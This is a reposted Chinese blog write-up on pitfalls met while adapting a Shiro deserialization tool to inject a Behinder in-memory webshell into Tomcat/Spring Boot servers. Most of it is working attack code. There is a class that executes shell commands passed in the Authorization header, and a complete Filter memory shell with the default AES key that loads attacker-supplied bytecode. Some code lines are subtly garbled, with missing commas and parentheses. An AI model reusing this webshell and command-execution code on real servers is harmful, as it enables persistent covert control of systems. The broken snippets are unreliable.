工具分析 | Shiro 注入冰蝎内存马坑点小记

admin 2024年11月20日14:12:24评论59 views字数 19138阅读63分47秒阅读模式

Shiro 注入冰蝎内存马坑点小记

声明:文中涉及到的技术和工具,仅供学习使用,禁止从事任何非法活动,如因此造成的直接或间接损失,均由使用者自行承担责任。

帮朋友做的授权项目, 遇到了《注入内存马》失败的场景, 魔改后的:

工具分析 | Shiro 注入冰蝎内存马坑点小记

加了一个功能模块, 用来解决实战中, 命令执行能出结果, 不出网, 用 jar 起的 springboot 项目 (不支持 JSP), 而内存马注入用原工具注入失败的场景.

由于只做简单修改, 不做大型魔改, 工具不分享, 这里只记载一下学习途中遇到的坑点.

工具分析 | Shiro 注入冰蝎内存马坑点小记

Request 域对象获取方式

当前站点“命令执行”功能模块正常使用, 但是内存马注入失败, 我们所知道的是, 这两个功能模块, 都是依赖于request域对象的, 按理来说, 命令执行功能模块返回正常, 意味着 request 域对象成功获取到了, 而内存马注入失败是什么鬼?难道工具的代码逻辑有问题?

Tomcat 获取 request 对象

Tomcat中, 可以使用如下方式进行获取request对象:

WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); // 得到当前线程的 ClassLoader
WebResourceRoot resources = webappClassLoaderBase.getResources(); // 得到 WebResourceRoot 对象
StandardContext context = (StandardContext) resources.getContext(); // 得到上下文对象

但是受版本限制, 所以不考虑.

SpringBoot 获取 request 对象

SpringBoot & SpringMVC中, 可以通过如下形式注入域对象:

ServletRequestAttributes requestAttributes = (ServletRequestAttributes) RequestContextHolder.getRequestAttributes();
HttpServletRequest request = requestAttributes.getRequest();

RequestContextHolder这个 API 在 SpringBoot 中可以成功, 而在SpringMVC中需要配置RequestContextFilter.

这两个姿势笔者在 https://www.freebuf.com/articles/web/413597.html 已经说明原因了.

遍历线程获取 request 对象

参考: https://xz.aliyun.com/t/10696?time__1311=CqjxR7D=iQ=05DKy8DIOx0xmT3OFzaT4D#toc-9

我们可以通过遍历当前所有线程, 为了方便演示, 这里直接上 jsp 文件, 来进行获取线程中所包含的request对象:

<%!
    public static Object getFV(Object targetObject, String fieldName) throws Exception {
        // 用于存储找到的字段对象
        java.lang.reflect.Field field = null;
        // 获取目标对象的类类型
        Class<?> clazz = targetObject.getClass();
        // 遍历目标对象的类层次结构
        while (clazz != Object.class{
            try {
                // 尝试获取指定名称的字段
                field = clazz.getDeclaredField(fieldName);
                // 找到字段后跳出循环
                break;
            } catch (NoSuchFieldException e) {
                // 如果当前类中没有找到字段,则继续向上查找超类
                clazz = clazz.getSuperclass();
            }
        }
        // 检查字段是否为null
        if (field == null) {
            // 如果没有找到字段,则抛出异常
            throw new NoSuchFieldException("Field '" + fieldName + "' not found in class hierarchy of " + targetObject.getClass().getName());
        } else {
            // 设置字段为可访问(即使它是私有的)
            field.setAccessible(true);
            // 获取并返回字段的值
            return field.get(targetObject);
        }
    }
%>
<%
    try {
        ThreadGroup threadGroup = Thread.currentThread().getThreadGroup();
        Thread[] threads = (Thread[]) getFV(threadGroup, "threads");
        for (Thread thread : threads) {
            String name = thread.getName();
            if (!name.contains("exec") && name.contains("http")) {
                java.util.List<org.apache.coyote.RequestInfo> lsts = (java.util.List<org.apache.coyote.RequestInfo>) getFV(getFV(getFV(getFV(getFV(thread, "target"), "this$0"), "handler"), "global"), "processors");
                for (org.apache.coyote.RequestInfo requestInfo : lsts) {
                    org.apache.coyote.Request req = (org.apache.coyote.Request) getFV(requestInfo, "req");
                    org.apache.catalina.connector.Request trueReq = (org.apache.catalina.connector.Request) req.getNote(1);
                    out.println(trueReq);
                }
            }
        }
    } catch (Exception e) {
        e.printStackTrace();
    }
%>

这里getFV方法定义的很巧妙, getDeclaredField方法可以获取当前类定义的所有属性, 但不包括父类, getField会获取当前类所有public属性, 包括父类. 这里定义getFV巧妙的运用了getDeclaredField遍历出对象所具有的所有属性. 那么看一下遍历线程的姿势, 准备如下代码:

import java.io.Serializable;
import java.lang.reflect.Field;

public class MyTester {
    static class Heihu577 implements Runnable {
        private Object obj;

        public Heihu577(Object o) {
            this.obj = o;
        }

        @Override
        public void run() {
            while (true) {
            }
        }
    }

    public static void main(String[] args) throws Exception {
        new Thread(new Heihu577("flag{666}")).start();
        new Thread(new Heihu577("flag{777}")).start();
        new Thread(new Heihu577("flag{888}")).start();
        // 如上启动了三个线程
        ThreadGroup threadGroup = Thread.currentThread().getThreadGroup(); // 得到线程组
        Field threads = threadGroup.getClass().getDeclaredField("threads");
        threads.setAccessible(true);
        Thread[] myThreads = (Thread[]) threads.get(threadGroup); // 通过反射得到 Thread[]
        for (Thread myThread : myThreads) {
            try {
                Field target = myThread.getClass().getDeclaredField("target"); // 得到代理中的 target
                target.setAccessible(true);
                Object result = target.get(myThread);
                if (result != null) {
                    Field obj = result.getClass().getDeclaredField("obj"); // 得到对象中 obj
                    obj.setAccessible(true);
                    Object o = obj.get(result);
                    System.out.println(o);
                    /**
                     * flag{666}
                     flag{777}
                     flag{888}
                     */

                }
            } catch (Exception e) {
            }
        }
    }
}

最终可以获取flag, 这里通过反射拿到所有线程中的成员属性值了. 也就是这个逻辑:

工具分析 | Shiro 注入冰蝎内存马坑点小记

所以这个方法来获取 request 对象, 特别巧妙. 几乎不再受什么 SpringBoot, Tomcat 限制, 还是挺好的一个方法.

一些杂的

命令执行回显的原因

该工具底层获取request对象也是通过遍历线程进行获取的, 所以这里通过request对象拿到response, 通过response向页面进行输出结果:

try {
    ThreadGroup threadGroup = Thread.currentThread().getThreadGroup();
    Thread[] threads = (Thread[]) getFV(threadGroup, "threads");
    for (Thread thread : threads) {
        String name = thread.getName();
        if (!name.contains("exec") && name.contains("http")) {
            Runnable target = (Runnable) getFV(thread, "target");
            java.util.List<RequestInfo> lsts = (java.util.List<RequestInfo>) getFV(getFV(getFV(getFV(target, "this$0"), "handler"), "global"), "processors");
            for (RequestInfo requestInfo : lsts) {
                Field myReq = requestInfo.getClass().getDeclaredField("req");
                myReq.setAccessible(true);
                org.apache.coyote.Request request = (org.apache.coyote.Request) myReq.get(requestInfo); // coyote Request 类型
                Field response = request.getClass().getDeclaredField("response");
                response.setAccessible(true);
                org.apache.coyote.Response res = (org.apache.coyote.Response) response.get(request);
                org.apache.catalina.connector.Request note = (org.apache.catalina.connector.Request) request.getNote(1);
                System.out.println(note);
                // 输出测试
                String data = "Hello World";
                ByteChunk byteChunk = new ByteChunk();
                byteChunk.allocate(data.length(), data.length());
                byteChunk.append(data.getBytes(), 0, data.length());
                res.doWrite(byteChunk);
            }
        }
    }
catch (Exception e) {}

运行即可. 在这里定义了getFV方法进行本地测试, 内容如下:

public class WebUtils {
    public static Object getFV(Object var0, String var1) throws Exception {
        java.lang.reflect.Field var2 = null;
        Class var3 = var0.getClass();

        while (var3 != Object.class{
            try {
                var2 = var3.getDeclaredField(var1);
                break;
            } catch (NoSuchFieldException var5) {
                var3 = var3.getSuperclass();
            }
        }

        if (var2 == null) {
            throw new NoSuchFieldException(var1);
        } else {
            var2.setAccessible(true);
            return var2.get(var0);
        }
    }
}

执行 Base64 解密后的结果

com.summersec.attack.UI.MainController::executeCmdBtn方法中是命令执行模块的功能, 其中调用的核心逻辑:

工具分析 | Shiro 注入冰蝎内存马坑点小记

与之对应的功能模块是com.summersec.attack.deser.echo.TomcatEcho2, 内容是 javassist 动态生成的, 要生成的字节码如下:

public class TomcatEcho3 {
    public TomcatEcho3() throws Exception {
        boolean var4 = false;
        Thread[] var5 = (Thread[]) getFV(Thread.currentThread().getThreadGroup(), "threads");

        for (int var6 = 0; var6 < var5.length; ++var6) {
            Thread var7 = var5[var6];
            if (var7 != null) {
                String var3 = var7.getName();
                if (!var3.contains("exec") && var3.contains("http")) {
                    Object var1 = getFV(var7, "target");
                    if (var1 instanceof Runnable) {
                        try {
                            var1 = getFV(getFV(getFV(var1, "this$0"), "handler"), "global");
                        } catch (Exception var13) {
                            continue;
                        }

                        java.util.List var9 = (java.util.List) getFV(var1, "processors");

                        for(int var10 = 0; var10 < var9.size(); ++var10) {
                            Object var11 = var9.get(var10);
                            var1 = getFV(var11, "req");
                            Object var2 = var1.getClass().getMethod("getResponse",new Class[0]).invoke(var1, new Object[0]);
                            var3 = (String)var1.getClass().getMethod("getHeader"new Class[]{String.class}).invoke(var1new Object[]{new String("Host")});
                            if (var3 != null && !var3.isEmpty()) {
                                var2.getClass().getMethod("setStatus"new Class[]{Integer.TYPE}).invoke(var2, new Object[]{new Integer(200)});
                                var2.getClass().getMethod("addHeader"new Class[]{String.classString.class}).invoke(var2new Object[]{new String("Host"), var3});
                                var4 = true;
                            }

                            var3 = (String)var1.getClass().getMethod("getHeader"new Class[]{String.class}).invoke(var1new Object[]{new String("Authorization")});
                            if (var3 != null && !var3.isEmpty()) {
                                var3 = decodeToString(var3.replaceAll("Basic """));
                                String[] var12 = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe""/c", var3} : new String[]{"/bin/sh""-c", var3};
                                writeBody(var2, (new java.util.Scanner((new ProcessBuilder(var12)).start().getInputStream())).useDelimiter("\A").next().getBytes());
                                var4 = true;
                            }

                            if (var4) {
                                break;
                            }
                        }

                        if (var4) {
                            break;
                        }
                    }
                }
            }
        }
    }
    private static void writeBody(Object var0, byte[] var1) throws Exception {
        byte[] bs = ("$$$" + encodeToString(var1) + "$$$").getBytes();
        Object var2;
        Class var3;
        try {
            var3 = Class.forName("org.apache.tomcat.util.buf.ByteChunk");
            var2 = var3.newInstance();
            var3.getDeclaredMethod("setBytes"new Class[]{byte[].classint.classint.class}).invoke(var2new Object[]{bs, new Integer(0), new Integer(bs.length)});
            var0.getClass().getMethod("doWrite"new Class[]{var3}).invoke(var0, new Object[]{var2});
        } catch (Exception var5) {
            var3 = Class.forName("java.nio.ByteBuffer");
            var2 = var3.getDeclaredMethod("wrap"new Class[]{byte[].class}).invoke(var3new Object[]{bs});
            var0.getClass().getMethod("doWrite"new Class[]{var3}).invoke(var0, new Object[]{var2});
        }
    }
}

则会达到如下效果:

工具分析 | Shiro 注入冰蝎内存马坑点小记

内存马注入失败的原因

com.summersec.attack.deser.plugins.InjectMemTool, 用javassist动态生成的, 而内存马的位置在com.summersec.x.BehinderFilter, 看了一下内存马那边是如何接收请求的, 这里内存马注入的姿势, 也是通过调用defineClass方法, 加载 POST 请求过来的数据信息(绕过请求头大小限制的姿势):

工具分析 | Shiro 注入冰蝎内存马坑点小记

出现问题的点, 这里重写了equals方法, 方法中对request对象进行二次处理, 可能会出现问题. 都是从request对象中获取数据的, 这里应该直接按照线程中的request标准进行定义逻辑即可, 但是他这里总是判断环境什么什么的, 更有意思的是下面还有出现BUG的修复记录:

工具分析 | Shiro 注入冰蝎内存马坑点小记

准备其他内存马

在这里手搓一个冰蝎内存马就行, 主要是针对于当前环境的request对象进行定制一个马子:

package com.heihu577.main;

import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import sun.misc.BASE64Decoder;

import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;

public class Zjm implements Filter {
    public Zjm() {
    }

    @Override
    public boolean equals(Object req) {
        try {
            ServletContext servletContext = ((HttpServletRequest) req).getServletContext();
            Field ApplicationContextContext = servletContext.getClass().getDeclaredField("context"); // 得到 ApplicationContextFacade 对象的 context 字段
            ApplicationContextContext.setAccessible(true);
            org.apache.catalina.core.ApplicationContext applicationContext = (ApplicationContext) ApplicationContextContext.get(servletContext); // 得到 ApplicationContextFacade 对象 context 字段的对象值
            Field StandardContextContext = applicationContext.getClass().getDeclaredField("context"); // 得到 ApplicationContextFacade -> context -> context 字段
            StandardContextContext.setAccessible(true);
            StandardContext standardContext = (StandardContext) StandardContextContext.get(applicationContext); // 得到 ApplicationContextFacade -> context -> context 对象 (StandardContext)
            // 下面模拟 ServletContext::addFilter 方法中的动态生成内存马的代码块...
            FilterDef filterDef = new FilterDef();
            filterDef.setFilterName(Zjm.class.getName());
            standardContext.addFilterDef(filterDef);
            filterDef.setFilterClass(Zjm.class.getName())// 设置自己
            filterDef.setFilter(new Zjm()); // 放入自己, 因为自己就是 Filter
            FilterMap filterMap = new FilterMap();
            filterMap.setFilterName(filterDef.getFilterName());
            filterMap.setDispatcher("[REQUEST]");
            filterMap.addURLPattern("/*");
            standardContext.addFilterMapBefore(filterMap); // 因为该行代码操作的就是 filterMaps
            // 创建 ApplicationFilterConfig, 未来往 filterConfigs 里面放
            Constructor<?> declaredConstructor = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructor(Context.classFilterDef.class);
            declaredConstructor.setAccessible(true);
            ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig) declaredConstructor.newInstance(standardContext, filterDef);
            // 得到 filterConfigs, 并且往这个 HashMap 中放置我们的 ApplicationFilterConfig
            Class<? extends StandardContext> aClass = null;
            try {
                aClass = (Class<? extends StandardContext>) standardContext.getClass().getSuperclass();
                aClass.getDeclaredField("filterConfigs");
            } catch (Exception e) {
                aClass = (Class<? extends StandardContext>) standardContext.getClass();
                aClass.getDeclaredField("filterConfigs");
            }
            Field filterConfigs = aClass.getDeclaredField("filterConfigs");
            filterConfigs.setAccessible(true);
            HashMap<String, ApplicationFilterConfig> myFilterConfigs = (HashMap<String, ApplicationFilterConfig>) filterConfigs.get(standardContext);
            myFilterConfigs.put(filterMap.getFilterName(), applicationFilterConfig);
            filterConfigs.set(standardContext, myFilterConfigs);
        } catch (Exception e) {
        }
        return true;
    }

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {

    }


    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws IOException, ServletException {
        try {
            HttpServletRequest request = (HttpServletRequest) servletRequest;
            HttpServletResponse response = (HttpServletResponse) servletResponse;
            HttpSession session = request.getSession();
            if (request.getParameter("helen") != null) {
                if (request.getMethod().equals("POST")) {
                    HashMap pageContext = new HashMap();
                    pageContext.put("request", request);
                    pageContext.put("response", response);
                    pageContext.put("session", session);
                    String k = "e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
                    session.putValue("u", k);
                    Cipher c = Cipher.getInstance("AES");
                    c.init(2new SecretKeySpec(k.getBytes(), "AES"));
                    ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
                    Method defineClassMethod = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass"byte[].classint.classint.class);
                    byte[] bytes = c.doFinal(new BASE64Decoder().decodeBuffer(request.getReader().readLine()));
                    defineClassMethod.setAccessible(true);
                    Class<?> clazz = (Class) defineClassMethod.invoke(classLoader, bytes, 0, bytes.length);
                    clazz.newInstance().equals(pageContext);
                }
            } else {
                chain.doFilter(servletRequest, servletResponse);
            }
        } catch (Exception e) {
            e.printStackTrace();
            chain.doFilter(servletRequest, servletResponse);
        }
    }

    @Override
    public void destroy() {
        Filter.super.destroy();
    }
}

关于 javassist

javassist 在使用增强 for 循环时, 会出现错误, 如下:

package com.heihu577;

import javassist.*;

public class InjectMemTool {
    public static void main(String[] args) throws Exception {
        ClassPool classPool = new ClassPool();
        classPool.insertClassPath(new LoaderClassPath(InjectMemTool.class.getClassLoader()));
        CtClass clazz = classPool.makeClass("Test" + System.nanoTime());
        if ((clazz.getDeclaredConstructors()).length != 0) {
            clazz.removeConstructor(clazz.getDeclaredConstructors()[0]);
        }
        String code = "java.util.ArrayList lst = new java.util.ArrayList();" +
                "lst.add(new java.lang.Integer(1));" + // [source error] ; is missing
                "for(Integer i : lst){" +
                "System.out.println(i);" +
                "}";
        clazz.addConstructor(CtNewConstructor.make("    public InjectMemTool() {" + code + "}", clazz));
    }
}

这里只能用普通 for 循环, 编写代码时尽量把包名类名写全, 否则 可能在底层 AST 语法树转换的时候报错. 坑点记载一下.

关于 ClassLoader 加载

这里有个细节问题, 执行ClassLoader::defineClass(byte[],int,int)方法时的两种姿势, defineClass 是 protected 修饰的, 支持继承, 记载一下.

继承 ClassLoader 调用 defineClass

class MyClassLoader extends ClassLoader {
    Class<?> a(){
        return defineClass(new byte[]{}, 00);
    }
}

这里在之前分析冰蝎马儿原理时分析过, 算是比较经典的调用defineClass的姿势了.

通过 Class.forName 进行调用

这里可以通过Class.forName(java.lang.ClassLoader)去拿到这个class, 通过反射拿到它的defineClass方法.

Class<?> aClass = Class.forName("java.lang.ClassLoader");
Method declaredMethod = aClass.getDeclaredMethod("defineClass"byte[].classint.classint.class);
declaredMethod.setAccessible(true);
declaredMethod.invoke(当前类.classnew byte[]{}, 00);

否则因为访问修饰符的问题, 无法访问这个defineClass方法.

关于打包与运行

刚从 github 拉下来的话, 运行不了, 看一下 JDK 版本, 读一下 README.MD 有没有声明 JDK 版本信息等.

如果要打包, 它的 pom.xml 文件中, 注意一些打包插件的标签是否设置正确, 有没有指明本地的rt.jar等, 将这些配置好之后再打包.

Ending...

踩坑记录, 记录一下, 以后分析工具原理的时候不迷路.

原文始发于微信公众号(Heihu Share):工具分析 | Shiro 注入冰蝎内存马坑点小记

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月20日14:12:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   工具分析 | Shiro 注入冰蝎内存马坑点小记https://cn-sec.com/archives/3412820.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息